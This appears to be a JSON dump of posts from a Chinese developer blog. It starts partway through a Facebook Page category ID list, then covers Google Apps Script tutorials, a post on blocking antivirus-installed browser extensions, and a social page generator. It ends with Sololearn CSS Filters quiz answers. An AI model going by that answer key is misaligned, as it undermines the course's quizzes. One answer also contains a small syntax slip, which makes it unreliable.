187070794658134 669 披萨店 180256082015845 670 皮德蒙特餐厅 121471424943901 671 皮肤科医生 196021933757044 672 皮划艇中心 286381728381245 673 啤酒吧 263451080680156 674 啤酒厂 144535972273084 675 啤酒和酒水店 199833073363963 676 瓶装水公司 1613508632296950 677 瓶装水供应商 1731232890425134 678 葡萄酒/烈酒 2224 679 葡萄牙餐厅 155167537873297 680 普拉提练习室 143297819412003 681 普利亚餐厅 281797568834709 682 铺路与沥青服务 188977087789280 683 耆那教餐厅 235994530118336 684 骑术学校 1112907238750736 685 棋盘游戏 2303 686 汽车、飞机与船只 180410821995109 687 汽车玻璃服务 153084451411848 688 汽车餐馆 188684981153971 689 汽车出租 198383950173309 690 汽车存放设施 196516643707440 691 汽车店 1628617144122365 692 汽车定制店 186712678028215 693 汽车服务 1223524174334504 694 汽车公司 2240 695 汽车经销商 131962450204676 696 汽车经销商 625688294262999 697 汽车零件店 139492049448901 698 汽车旅馆 152050108191372 699 汽车美容服务 1033987526649038 700 汽车清洗 162295707155272 701 汽车维修店 149998721725634 702 汽车修复服务 124718197599943 703 汽车音响店 1363733416987629 704 汽车运输服务 1658512347800073 705 汽车制造商 188620891159326 706 汽车租赁服务 134088753324121 707 潜水点 1773482722871511 708 潜水中心 169706939742581 709 潜泳点 145635905846537 710 枪械店 180302115349257 711 荞麦面餐厅 240627589653596 712 桥良 151969488199865 713 巧克力店 498921743646445 714 青年旅社 150438461681329 715 青年组织 181053558607965 716 青少年儿童网站 2716 717 青少年律师 181363338568345 718 轻轨站 1096034743795535 719 清洁服务 186564191378474 720 清洁服务 190108547677820 721 清酒吧 1640927539562872 722 清真餐馆 193694197335994 723 清真寺 179905035385252 724 区域网站 2712 725 取现服务 128197080583700 726 全科牙医 116306972128008 727 拳击室 1639776363011106 728 热狗摊 212285478786733 729 热气球旅行社 177756732269376 730 热气球站 1594016414177786 731 热水器安装与维修服务 1801899483365045 732 人身伤害案件律师 1080127208741064 733 人声编曲人 3145961928994152 734 日间水疗 205950169432461 735 日式餐馆 199035016778342 736 日式点心餐厅 959699290795405 737 日式烧鸡餐厅 113264772433008 738 日式烧肉店 698490883622395 739 日式温泉 294401544229468 740 肉类批发商 1237052559660497 741 肉铺 181564868547915 742 乳牛场 1946678192225672 743 软件 2211 744 软件公司 1065597503495311 745 瑞士餐厅 235655343487823 746 山地自行车店 1549262958716707 747 山东菜馆 701480496660107 748 山西餐厅 151790808570629 749 陕西餐厅 255811524810207 750 商业地产代理 162878243763233 751 商业供应服务 200209719995975 752 商业顾问 179672275401610 753 商业银行 163090273743732 754 商业中心 139745066094977 755 商用车经销商 224411416007218 756 商用卡车经销商 1143366362371705 757 商用与工业设备供应商 165245226927543 758 上帝会 170386086340798 759 上海餐厅 1119010584789150 760 烧烤店 150534008338515 761 设计和时尚 557045641143373 762 设计师 1615 763 社论/论点 350465182273335 764 社区花园 600876466756567 765 社区中心 296862927058877 766 射击/狩猎区 472367986267086 767 射击场 152275908161439 768 射箭场 170715949640891 769 射箭馆 997443937042993 770 摄影师 181475575221097 771 摄影与摄像 191969860827280 772 什锦烧餐厅 826293890848343 773 神经科医师 1072995232790754 774 生态旅行社 214416301907154 775 生物科技公司 150148928375567 776 生鲜餐厅 204867426208613 777 圣公会 170721982973337 778 圣教会 201207006556711 779 石油服务 193508567343323 780 时尚配饰 733618421337544 781 时装模特 1784467105117322 782 时装设计师 179576078750378 783 时装造型师 1534583876922626 784 食品服务提供商 200019523363001 785 食品批发商 1727285527537943 786 使徒教会 199448423406078 787 市场调查顾问 152088421520086 788 市政厅 260981550923988 789 市政厅 436168419731123 790 视觉/艺术总监 562626681628852 791 视觉特效总监 217002660445742 792 视觉艺术 1080612391976317 793 视听器材店 198632653485894 794 室内乐团 1052439752264127 795 室内设计工作室 199438050070864 796 收藏品商店 187679647929203 797 收容所 804444936321615 798 手工艺 369311918442131 799 手机/平板电脑 2265 800 手机店 210979565595898 801 寿司餐馆 134501539950711 802 寿喜烧餐厅 1079625258764047 803 兽医 162068413843305 804 售票 166975666684060 805 书店 197048876974331 806 书籍 1300 807 书籍 1300 808 书籍与杂志分销商 161467220570897 809 蔬果店 128157407253652 810 熟食店 188334264523313 811 数字内容创作者 2347428775505624 812 水处理服务 1716047138658843 813 水库 317580934980424 814 水疗 200814353265561 815 水生宠物店 209645989430607 816 水烟酒廊 223801560977980 817 税务律师 1048446685209115 818 私立学校 186998168001766 819 私人包机 187495294614939 820 私人厨师 498244033702006 821 私人会所 314375185582911 822 私人教练 185900881450649 823 私人助理 1061943827220930 824 斯里兰卡餐厅 519028021614838 825 斯洛伐克餐厅 247753848949842 826 素食餐厅 200742186618963 827 宿舍 165665860162999 828 塑料生产商 1172028072841628 829 塑料制工 481350968738430 830 塑像与喷泉 210857662260088 831 碎纸服务 186673141730893 832 锁匠 181814521855864 833 台球厅 197750126917541 834 台式餐馆 199146280116687 835 太极练习室 625684817590367 836 太阳能服务 161521487230197 837 太阳能公司 1643933949261293 838 泰国餐馆 179167895459033 839 泰米尔餐厅 1121931334541036 840 汤馆 135468489860087 841 糖果店 414430838570027 842 特产杂货店 162264673824073 843 特立尼达餐厅 1220947157917102 844 特效总监 448803890139712 845 特许经营代理人 143973032336164 846 特许经营服务 182923418412354 847 体操中心 1050341358394128 848 体育场、竞技场和运动场 109976259083543 849 体育经纪人 124584130946507 850 体育联赛 1800 851 体育赛事 1805 852 体育校队 1804 853 体育用品店 165823830131654 854 天麸罗餐厅 151854495230528 855 天津餐厅 903941156398667 856 天主教会 175647552480085 857 田径场 1350759958274577 858 甜品店 187153754656815 859 甜甜圈店 2053716798185981 860 跳伞中心 176803072363608 861 跳蚤市场 179278362129856 862 铁板烧餐厅 1754194641488649 863 铁路公司 108376755907313 864 听力学家 199024153446160 865 庭院/花园 2222 866 同志酒吧 128470943900600 867 投资服务 213577718658733 868 投资管理公司 751682678308160 869 投资银行 237892996595065 870 透析诊所 504565943072044 871 图书馆 169896676390222 872 土耳其餐馆 205503056146172 873 托儿所 164595956925901 874 托斯卡纳餐厅 1007478029320702 875 拖车服务 174972792548177 876 拖车经销商 1242032379171046 877 拖车租赁 205261602824861 878 脱毛服务 128905757179140 879 外科医生 138265209910849 880 外科中心 290564841277981 881 玩具店 178680352174443 882 万鸦老餐厅 1054005488017120 883 王国聚会所教会 187677931267173 884 网咖 201035296584114 885 网络律师 178280199241982 886 网球场 187950394558510 887 网球馆 576853295821011 888 网页设计师 187393124625179 889 危地马拉餐厅 1831519280411170 890 危机预防中心 128568697212195 891 威尼斯餐厅 1066062386815560 892 威士忌酒吧 1081709315199455 893 维生素/补品 2262 894 维生素保健品店 589423051230505 895 委内瑞拉餐厅 486179814901255 896 卫理公会 193064780713408 897 温泉 253927601644279 898 文化礼品店 180816211956170 899 文化游旅行社 2061880544038035 900 文化中心 619759428190024 901 文学编辑 1289492561569587 902 文学评论人 500681038112697 903 文学艺术 856055631167537 904 纹身与穿刺店 551469561691940 905 翁布利亚餐厅 1752442564976218 906 乌冬面餐厅 513113918897829 907 乌杜皮餐厅 1781417032091985 908 乌克兰餐厅 845844622227120 909 乌拉圭餐厅 914870361957244 910 乌兹别克餐厅 1800418506854067 911 无宗派教堂 200639493285676 912 五金店 148906328500868 913 五旬节会 177900302253752 914 武术学校 198325860180715 915 武装部队 188166377871384 916 舞蹈工作室 203916779633178 917 舞蹈学校 1554062478223469 918 舞蹈演员 1614 919 舞厅 1026363087412021 920 舞厅/夜店 191478144212980 921 物业管理公司 124701514268099 922 西班牙餐厅 171485526232801 923 西班牙风味小吃与餐馆 119869574758000 924 西西里餐厅 1624208617897687 925 希腊餐馆 144722595590046 926 锡克庙 367259453311239 927 喜剧俱乐部 110186619064706 928 喜剧演员 1610 929 喜玛拉雅餐馆 135660879839870 930 戏剧 943469559038367 931 戏剧作品 1784293938474260 932 系列丛书 1309 933 峡湾 1737724636495445 934 现代欧式餐馆 188360891207745 935 现代艺术博物馆 378970035464823 936 乡村俱乐部/俱乐部会所 186004504854452 937 香槟酒吧 573177252854494 938 湘菜馆 257889957903551 939 箱包店 152220181857729 940 箱包公司 1050262451724084 941 消防安全服务 197796476897760 942 消防站 150681761655205 943 小餐馆 197871390225897 944 小木屋 189006297788323 945 小屋 213629078651577 946 小学 140234236045713 947 校车服务 191373470890862 948 鞋具店 109512302457693 949 写作服务 186573994697103 950 心理健康服务机构 132328993501399 951 心理学家 206714069358248 952 心理治疗师 872817116184676 953 心内科医生 1734919436761966 954 新加坡餐馆 142590562472824 955 新疆餐厅 1327574483925283 956 新闻工作者 1605 957 新闻与媒体网站 2709 958 信息技术公司 1130035050388269 959 信用社 145988682478380 960 刑事律师 153614521358541 961 行李服务 177492522293723 962 行李箱包 2206 963 形象顾问 132008380200065 964 性治疗师 1548916632084224 965 匈牙利餐厅 185368671504202 966 休闲场所 987187691402362 967 休闲车经销商 124698237604010 968 休闲与运动网站 2710 969 休闲中心 183013211744255 970 修复服务 196285793716152 971 叙利亚餐厅 1605051899807074 972 学术夏令营 152248208162513 973 学校 2601 974 学校 2601 975 学校筹款活动 190592477648673 976 血站 186236611410712 977 巡回演唱会 1208 978 巡回演唱会经理 247944157166126 979 驯马师 259302561091976 980 训狗师 175898962454294 981 巽他餐厅 1421095937915810 982 牙齿美白服务 164436443610134 983 牙买加餐厅 1575068609459537 984 牙髓病医生 1163873193673538 985 牙医和牙医诊所 174187662626299 986 牙周病医生 1067895509954659 987 亚美尼亚餐厅 253085248380267 988 亚齐餐厅 1718349555105798 989 亚洲餐馆 185855984789970 990 亚洲风味餐厅 174201535963762 991 烟草公司 2257 992 烟草商店 196434697050078 993 烟花零售商 196493330361697 994 眼科医生 1222066317826315 995 眼科医师 200279126653253 996 演员 1602034176774683 997 验房师 128784863859103 998 验光师 192316870798061 999 洋食餐厅 1721970931353243 1000 养鱼场 1771803296365360 1001 药店/药房 134381433294944 1002 药品 2263 1003 药品公司 1626402524354240 1004 药物水疗 203654586323143 1005 耶稣基督后期圣徒教会 109597022449687 1006 野餐营地 200597389954350 1007 野生动物保护区 156982297694225 1008 业余体育联盟 1922684341282335 1009 业余运动队 1803 1010 夜市 1750310581890222 1011 伊比利亚餐厅 1588203101510204 1012 伊朗餐厅 501506480056242 1013 医疗服务 1154837367920704 1014 医疗管理员 175272389190311 1015 医疗设备供应商 143491166059053 1016 医疗设备制造商 1607813882864367 1017 医疗实验室 186546178044573 1018 医疗用品商店 124907487582838 1019 医疗与健康 145118935550090 1020 医疗中心 228143393877753 1021 医生 188234584533149 1022 医学研究中心 180931928610132 1023 医学院 190153097675457 1024 医用大麻取药处 254436211591182 1025 医院 133152263416981 1026 移民案件律师 1723986644540644 1027 以色列餐厅 1760604674153529 1028 艺人经纪人 1030515153650195 1029 艺术博物馆 384382644921530 1030 艺术旅行社 1734714626805417 1031 艺术品修复服务 109499672460251 1032 艺术学校 164288046954643 1033 艺术与人文学科网站 2701 1034 意大利冰淇淋店 1194170890614519 1035 意大利餐馆 193831710644458 1036 音乐奖项 1212 1037 音乐排行榜 1213 1038 音乐视频 1207 1039 音乐制作工作室 189483194405517 1040 音乐制作人 667479207565813 1041 银行 133576170041936 1042 银行设备与服务 128816990522299 1043 饮食顾问 187462324610381 1044 印度餐馆 129539913784760 1045 印度风味中餐馆 587151088079581 1046 印度风味中餐厅 1753092254906112 1047 印度寺庙 587075671302634 1048 印度小吃店 1104127436275946 1049 印尼餐馆 167749593275424 1050 英国国教 139801652749645 1051 英式餐厅 137670789632630 1052 英式酒吧 218693881483234 1053 婴儿用品/儿童用品 2232 1054 婴幼儿童装店 192614304101075 1055 营销代理 123377808095874 1056 营养师 197995016883073 1057 影视工作室 370369022981015 1058 影视剧奖 1112 1059 泳装店 291301061210178 1060 犹太餐馆 205628702786662 1061 犹太教会 184925784880952 1062 游乐场 162648480454674 1063 游乐场 192092574152128 1064 游乐与主题公园 220626791295805 1065 游轮公司 197280796951159 1066 游艇/轮渡公司 142904572786660 1067 游戏/玩具 2300 1068 游戏发行商 866898430141631 1069 游戏主播 1350536325044173 1070 游泳教练 1238790372819138 1071 有机食品店 1748430218710706 1072 鱼市场 530553847154560 1073 娱乐案件律师 235173956868212 1074 娱乐网站 2705 1075 羽毛球场 598795690296208 1076 语言病理专家 192761027418354 1077 语言学校 191533400865548 1078 语言治疗师 1628237674156362 1079 园艺师 156555961070638 1080 园艺中心 193271047368648 1081 远足路线 268946656794071 1082 粤菜馆 214976388519648 1083 越南餐馆 155136917876965 1084 越南米粉餐厅 211063415594061 1085 云南餐厅 1755374518042297 1086 孕期/哺乳期服装店 588302314673997 1087 运动 964585346994407 1088 运动场 1558682211100512 1089 运动队 1801 1090 运动服装店 1713352298924731 1091 运动酒吧 184460441595855 1092 运动俱乐部 189018581118681 1093 运动心理学家 486156098261145 1094 运动休闲场地 865117100300601 1095 运动与健身指导 193302624020981 1096 运动员 1600 1097 运河 472918986250757 1098 杂货批发商 864041480406497 1099 杂志 1307 1100 早餐与早午餐餐馆 192108214153222 1101 炸猪排餐厅 1567045423589488 1102 占星家 295752120759519 1103 占星家与灵媒 108565442553819 1104 章鱼烧餐厅 1547789965530594 1105 爪哇餐厅 1753900568201894 1106 遮阳篷供应商 189183707768885 1107 折扣店 183205338384747 1108 针灸师 121549447920861 1109 整形外科医生 188780244476392 1110 政党 2618 1111 政府大楼 1032965636792826 1112 政府公职服务机构 147714868971098 1113 政府官员 1701 1114 政府机构 161422927240513 1115 政府网站 2706 1116 政界人士 1700 1117 政治候选人 842783295865930 1118 政治组织 373543049350668 1119 知识产权律师 166582800055512 1120 执法部门 153297678056879 1121 职业安全与卫生服务 199383530078300 1122 职业顾问 1739517886317334 1123 职业介绍所 124814294258910 1124 职业理疗师 170598252986387 1125 职业学校 192338537450532 1126 职业运动队 152678898477239 1127 植发服务 188339094522319 1128 植物园 200436713689387 1129 植物园 465582610297141 1130 制服供应商 374540316003475 1131 制作人 1108 1132 治疗师 1555301504771639 1133 智利餐厅 291486924528649 1134 中餐馆 174483852595760 1135 中学 2637 1136 中转站 2505 1137 中转站 520917194785584 1138 珠宝/手表 2226 1139 珠宝和手表商店 188031587886173 1140 珠宝批发商 155851681143483 1141 珠宝手表公司 129357034153761 1142 主唱 973413980185936 1143 主题餐厅 1738077623073078 1144 住宿与早餐 110321355709642 1145 住所 192049437499122 1146 住所 197289820310880 1147 住所 197289820310880 1148 贮木场 1219614134745580 1149 专辑 1200 1150 专科学校 144971758897076 1151 咨询机构 2248 1152 咨询师 1710182075914714 1153 自动柜员机 (ATM) 1057744077629687 1154 自动化服务 153535891368765 1155 自然保护区 1782121698686371 1156 自然理疗师 1563185473976986 1157 自行车道 1762404710673301 1158 自行车健身房 1039343762826317 1159 自行车维修服务 1278946312134253 1160 自行车行 128003127270269 1161 自行车租赁 433034116710064 1162 自助餐厅 127892053948220 1163 自助餐厅 176007949109829 1164 自助存储设施 483030678574540 1165 自助洗衣店 286280034782160 1166 宗教书店 201787963175866 1167 宗教学校 193128447381850 1168 宗教中心 139460309451166 1169 宗教组织 187714557925874 1170 租赁店 162758110442965 1171 租赁式公寓和私人公寓 181216025249367 1172 足科医生 190310404327530 1173 足球场 185342455201725 1174 足球场 953929301386614 1175 足球体育馆 1605147709798088 1176 钻井服务 193542570664339 1177 作家 1109 1178 作家 1301 1179 AIDS 资源中心 169421023103905 1180 Barber 1485912725142092 1181 DJ 166419966738430 1182 Foley Artist 1625739434428339 1183 Marching Band 1338477876584822 1184 Music & Audio 366213558769416 1185 Previsualization Artist 504032454282334 1186 Special Effects Assistant 1305041770017280 1187 Video Game Artist 939232203648850 1188 Visual Effects Artist 781199616597536 相关推荐: Facebook 爱好列表 Facebook 小组徽章 Facebook 背景颜色列表 ","tags":[{"name":"Facebook","slug":"facebook","used":true,"link":"https://dev-coco.github.io/tag/facebook/"}],"title":"Facebook 专页类别列表","feature":"","link":"https://dev-coco.github.io/post/Facebook-Page-Categories/","stats":{"text":"33 min read","time":1964000,"words":7716,"minutes":33},"date":"2022-09-13 19:59:38","dateFormat":"2022-09-13"},{"content":"IMPORTRANGE 函数表格卡、老出错?不如试试这个方法! 使用 IMPORTRANGE 函数从其他电子表格获取数据的时候会存在一些弊端,如果数据量特别大,或者特别频繁更新数据的时候,IMPORTRANGE 函数就会出现异常导致无法正常使用,只适用于少量的数据。如果数据量比较大,建议使用 Google 脚本实现这个功能,即使数据量大也可以正常获取,而且写入后的数据是静态的,对工作表的性能影响很小。 通过电子表格 ID 获取存放数据的电子表格。 const dataSheet = SpreadsheetApp.openById('表格ID') 设置范围,并且获取数据。 const getData = dataSheet.getRange('A1:B100').getValues() 获取当前表格。 const sheet = SpreadsheetApp.getActiveSheet() 获取需要写入数据的范围,这个范围必须和获取数据的范围一致,然后把获取到的数据写入到当前表格。 sheet.getRange('A1:B100').setValues(getData) 完整代码如下: const dataSheet = SpreadsheetApp.openById('表格ID') const getData = dataSheet.getRange('A1:B100').getValues() const sheet = SpreadsheetApp.getActiveSheet() sheet.getRange('A1:B100').setValues(getData) ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"使用 Google 脚本实现 IMPORTRANGE","feature":"https://dev-coco.github.io/post-images/Google-Script-Importrange.jpg","link":"https://dev-coco.github.io/post/Google-Script-Importrange/","stats":{"text":"2 min read","time":64000,"words":278,"minutes":2},"date":"2022-09-07 10:22:11","dateFormat":"2022-09-07"},{"content":"使用触发器自动化运行函数。 创建触发器 在左侧选择触发器。 在右下角点击添加触发器。 触发函数 在选择要运行的功能中选择需要运行的函数,每次只能添加一个。 执行类型 基于电子表格 打开时 等待电子表格加载完成后就会执行,每次打开电子表格都会重新执行一次,执行后就不会再重复执行了。 编辑时 仅在修改单元格内容的时候才会执行,每次修改内容都会再次执行。 更改时 不仅在修改单元格的内容的时候会执行,修改工作表名称,或者进行其它的更改都会执行。 表单提交时 需要将表单绑定电子表格,当表格提交的时候就会执行。 时间驱动 特定日期和时间 在指定的时间执行,时间格式:YYYY-MM-DD HH:MM,只会执行一次。 天定时器 在当前某个时间会自动运行,不过这个时间只能是在某个时间段的区间,并不会非常精确的运行。例如在下午 3 点至 4 点,那么就会在这个区间的任意时间运行,每次运行都不会固定在多少分钟运行。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 触发器","feature":"https://dev-coco.github.io/post-images/Google-Script-Trigger.jpg","link":"https://dev-coco.github.io/post/Google-Script-Trigger/","stats":{"text":"2 min read","time":69000,"words":342,"minutes":2},"date":"2022-09-01 20:51:29","dateFormat":"2022-09-01"},{"content":"有一个可以直接调用的接口真是太方便了! GET 请求触发器 doGet(request) 这是一个 Web 应用的触发器,需要部署 Web 应用后才可以使用。当收到一个 HTTP GET 请求的时候就会执行,将请求的参数传入 request。 请求参数 parameter 请求的参数会返回一个 Object 类型的值。代码示例: function doGet (request) { Logger.log(request.parameter) } 将传入 request 的参数使用 Logger 写入到日志。 返回结果 返回内容 createTextOutput(content) content 放入字符串,会在 Web 应用返回一个文本内容,需要使用 return 返回。代码示例: function doGet () { return ContentService.createTextOutput('测试') } 请求后就返回一个测试的文本。 实例演示 使用网络应用将数据填入电子表格 A1 的位置。 function doGet (request) { const {text} = request.parameter SpreadsheetApp.openById('表格ID').getRange('A1').setValue(text) return ContentService.createTextOutput('完成') } 将请求的参数解析,然后使用 setValue 写入到 A1 单元格。 调用 API const urlStr = { text: 'ok' } const response = await fetch(`放入部署后的链接?${new URLSearchParams(urlStr).toString()}`).then(text => text.text()) console.log(response) 将 Object 类型的内容使用 URLSearchParams 转换成链接格式,再使用 fetch 发送请求,最后 console 的结果就是前面在 createTextOutput 设置好的文本作为返回结果。请求后会将设置的 ok 内容写入到表格内容 A1 单元格。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 制作 API 接口","feature":"https://dev-coco.github.io/post-images/Google-Script-Create-API.jpg","link":"https://dev-coco.github.io/post/Google-Script-Create-API/","stats":{"text":"2 min read","time":82000,"words":347,"minutes":2},"date":"2022-08-27 13:29:56","dateFormat":"2022-08-27"},{"content":"客户端和服务端互相传输数据。 服务端运行客户端数据 google.script.run.myFunction(…) myFunction 可以设置服务端任意的函数,并且可以放入参数。代码示例: Code.gs function doGet () { return HtmlService.createTemplateFromFile('index').evaluate() } function cellValues (area) { const values = SpreadsheetApp.openById('表格ID').getRange(area).getValues() Logger.log(values) return values } index.html <!DOCTYPE html> <html> <head> <base target="_top"> </head> <body> <script> google.script.run.cellValues('A1') </script> </body> </html> 打开 Web 应用后就会执行 cellValues 函数并且传入 A1 字符串。在 Logger 中可以看到获取 A1 单元格的结果。 返回成功执行的结果 withSuccessHandler(function) function 设置回调函数。代码示例: index.html google.script.run.withSuccessHandler(function (result) { console.log(result) }).cellValues('A1') 将返回的结果设置命名为 result 并且传入到 console 输出。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 客户端和服务端通信","feature":"https://dev-coco.github.io/post-images/Google-Script-Messages.jpg","link":"https://dev-coco.github.io/post/Google-Script-Messages/","stats":{"text":"1 min read","time":59000,"words":213,"minutes":1},"date":"2022-08-22 18:39:03","dateFormat":"2022-08-22"},{"content":"在表格增加或删减行或者列。 增加行 insertRows(rowIndex, numRows) rowIndex 放入需要增加行的起始行;numRows 放入需要增加行的数量,非必填参数,默认为 1。代码示例: SpreadsheetApp.getActiveSheet().insertRows(5, 2) 运行后会从第 5 行开始增加 2 行。 删除行 deleteRows(rowPosition, howMany) rowPosition 放入要删除的行的起始行;howMany 放入需要删除的行的数量,非必填参数,默认为 1。代码示例: SpreadsheetApp.getActiveSheet().deleteRows(5, 2) 运行后会从第 5 行开始删除 2 行。 增加列 insertColumns(columnIndex, numColumns) columnIndex 放入需要增加列的起始列;numColumns 放入需要增加列的数量,非必填参数,默认为 1。代码示例: SpreadsheetApp.getActiveSheet().insertColumns(2, 3) 运行后会从第 2 列开始增加 3 列。 删除列 deleteColumns(columnPosition, howMany) columnPosition 放入需要删除的列的起始列;howMany 放入需要删除列的数量,非必填参数,默认为 1。代码示例: 排序 sort(columnPosition, ascending) columnPosition 放入需要排序的列,ascending 放入布尔值进行升序或者降序,非必填参数,默认为 true。示例代码: SpreadsheetApp.getActiveSheet().sort(2, false) 将第二列进行倒序排序。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 操作行和列","feature":"https://dev-coco.github.io/post-images/Google-Script-Operate-Row-Column.jpg","link":"https://dev-coco.github.io/post/Google-Script-Operate-Row-Column/","stats":{"text":"2 min read","time":68000,"words":295,"minutes":2},"date":"2022-08-20 18:51:33","dateFormat":"2022-08-20"},{"content":"发布一个 Web 页面。 引用文件创建 HTML 模版 createTemplateFromFile(filename) filename 放入文件名称。代码示例: Google Script HtmlService.createTemplateFromFile('index') index.html <!DOCTYPE html> <html> <head> <base target="_top"> </head> <body> <p>test</p> </body> </html> 需要提前创建好 index 文件,然后再使用此方法创建。 输出 HTML evaluate() HTML 代码无法直接输出到 Web 页面,需要使用 evaluate() 解析后才可以输出。代码示例: function doGet () { return HtmlService.createTemplateFromFile('index').evaluate() } iframe 权限 setXFrameOptionsMode(mode) mode 设置模式。代码示例: HtmlService.createTemplateFromFile('index').evaluate().setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL) 设置好后将允许在 iframe 中引用,不过要注意安全性问题,防止被劫持数据。 侧边栏创建 Web 页面 showSidebar(userInterface) userInterface 放入解析后的 HTML 代码。示例代码: const html = HtmlService.createTemplateFromFile('sidebar').evaluate() SpreadsheetApp.getUi().showSidebar(html) 运行后会在表格右侧边栏加载 Web 界面,不过要注意的是,宽度只有 300px,无法变得更大,所以需要注意页面内容的尺寸,以免无法正常显示。 设置标题 setTitle(title) title 放入标题内容。示例代码: const html = HtmlService.createTemplateFromFile('index').evaluate().setTitle('标题') SpreadsheetApp.getUi().showSidebar(html) 发布后标题就会改为设置好的内容。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 创建 Web 页面","feature":"https://dev-coco.github.io/post-images/Google-Script-Create-Web-Page.jpg","link":"https://dev-coco.github.io/post/Google-Script-Create-Web-Page/","stats":{"text":"2 min read","time":81000,"words":318,"minutes":2},"date":"2022-08-18 15:15:36","dateFormat":"2022-08-18"},{"content":"屏蔽 Bitdefender 和 Avira 杀毒软件强制给浏览器安装插件。 有的杀毒软件会强制给浏览器安装一些“安全性”插件,而且每次新建浏览器人员的时候都会被强制安装上。 即使卸载软件的时候,官方提供的卸载工具也不会完全将这些插件完全卸载掉,还是会被强制安装到浏览器。那么就可以把这些插件的 ID 设置到浏览器的插件黑名单内,这样就可以彻底屏蔽掉,不会再强制安装浏览器了。 下载链接:Disable-Bitdefender-and-Avira-Extensions 同时支持 Chrome、Brave、Edge 三款浏览器,安装后重启浏览器即可生效。 ","tags":[{"name":"软件","slug":"software","used":true,"link":"https://dev-coco.github.io/tag/software/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"屏蔽 Bitdefender 和 Avira 安装插件","feature":"","link":"https://dev-coco.github.io/post/Disable-Bitdefender-Avira-Extensions/","stats":{"text":"1 min read","time":39000,"words":187,"minutes":1},"date":"2022-08-18 07:35:09","dateFormat":"2022-08-18"},{"content":"在电子表格创建一个菜单。 创建菜单 createMenu(caption) caption 放入菜单名称,然后创建一个菜单。代码示例: const ui = SpreadsheetApp.getUi() ui.createMenu('主菜单') .addItem('菜单1', 'test') .addToUi() 需要先执行 SpreadsheetApp.getUi() 才能在用户界面添加菜单,然后使用 ui.createMenu() 创建一个名字叫主菜单的菜单,再使用 addItem 在菜单的下面添加项目,菜单内至少包含一个项目才可以创建,最后执行 addToUi() 将菜单添加到用户界面。 添加项目 addItem(caption, functionName) caption 放入项目名称,functionName 放入函数的名称,文本类型,当点击了对应项目的时候,就会触发设置好的函数。 function myFunction() { const ui = SpreadsheetApp.getUi() const menu = ui.createMenu('主菜单') .addItem('菜单1', 'test') .addToUi() } function test () { Logger.log('run') } 例如在菜单添加了一个菜单 1 的项目,点击后就会运行设置好的 test 函数。 分割线 addSeparator() 在指定位置增加一个分割线。代码示例: const ui = SpreadsheetApp.getUi() ui.createMenu('主菜单') .addItem('菜单1', 'test') .addSeparator() .addToUi() 需要在菜单的后面加,而且必须在 addToUi() 的前面。 添加子菜单 addSubMenu(menu) 需要在菜单的后面使用,menu 放入子菜单。代码示例: const ui = SpreadsheetApp.getUi() const menu = ui.createMenu('主菜单') .addItem('菜单1', 'test') .addItem('菜单2', test) .addSeparator() const subMenu = ui.createMenu('二级菜单') .addItem('菜单3', 'test') .addItem('菜单4', test) menu.addSubMenu(subMenu) .addToUi() 创建后一个二级菜单后,将二级添加到主菜单的后面,这样就可以添加一个二级菜单了。 打开表格自动触发 onOpen() 这是一个触发器函数,在打开电子表格的时候会自动运行,通常的时候会配合菜单一起使用。代码示例: function onOpen() { const ui = SpreadsheetApp.getUi() const menu = ui.createMenu('主菜单') .addItem('菜单1', 'test') .addToUi() } 将 onOpen() 设置为函数名称,每次打开表格的时候会自动运行函数内的代码,这样就可以实现在打开表格后自动加载好菜单。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 菜单","feature":"https://dev-coco.github.io/post-images/Google-Script-Create-Menu.jpg","link":"https://dev-coco.github.io/post/Google-Script-Create-Menu/","stats":{"text":"3 min read","time":121000,"words":514,"minutes":3},"date":"2022-08-15 20:43:30","dateFormat":"2022-08-15"},{"content":"社交平台多合一。 演示页面 演示页面:https://dev-coco.github.io/other/Social-Template.html 生成器:https://dev-coco.github.io/Online-Tools/Social-Platform-Generator.html 使用方法 将需要生成的社交平台拖到右侧,并且输入链接。 右侧默认会有一个图片标记的输入框,输入图片链接后,会显示横幅图,建议使用 11:3 的尺寸。如果不需要,可以将它拖到左侧。 如果选择的社交平台数量是单数,需要将末尾空白的拖到右侧底部,预留一个位置,否则可能会显示不正常。 设置好后点击生成按钮,再点击下载。然后就会生成好一个社交平台的页面了。 ","tags":[{"index":-1,"name":"其它","slug":"other","used":true,"link":"https://dev-coco.github.io/tag/other/"}],"title":"社交平台生成器","feature":"","link":"https://dev-coco.github.io/post/Social-Platform-Generator/","stats":{"text":"1 min read","time":41000,"words":189,"minutes":1},"date":"2022-08-05 01:52:23","dateFormat":"2022-08-05"},{"content":"Sololearn CSS course CSS Filters answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn CSS course. Other course answers Sololearn CSS course The Basics answers Sololearn CSS course Working with Text answers Sololearn CSS course Properties answers Sololearn CSS course Positioning and Layout answers Sololearn CSS course CSS3 Basics answers Sololearn CSS course Gradients & Backgrounds answers Sololearn CSS course Transitions & Transforms answers 72.1 Lesson CSS Filters Question: CSS Filters Which of the following is not a filter function? Answer: inverse Question: The drop-shadow Function Fill in the blanks to create a red shadow. Answer: <style> .withshadow { filter: drop-shadow (5px 9px 2px red); } </style> 73.1 Lesson Filter Functions Question: The grayscale Function Fill in the blanks to apply the grayscale function. Answer: <style> .filtered { filter: grayscale(50%); } </style> Question: The sepia Function Fill in the blanks to create a valid sepia function. Answer: <style> .filtered { filter: sepia(200%); } </style> Question: The saturate Function How many parameters does the saturate function have? Answer: 1 Question: The hue-rotate Function Rotating the hue by 120deg will make the red color in an image: Answer: green 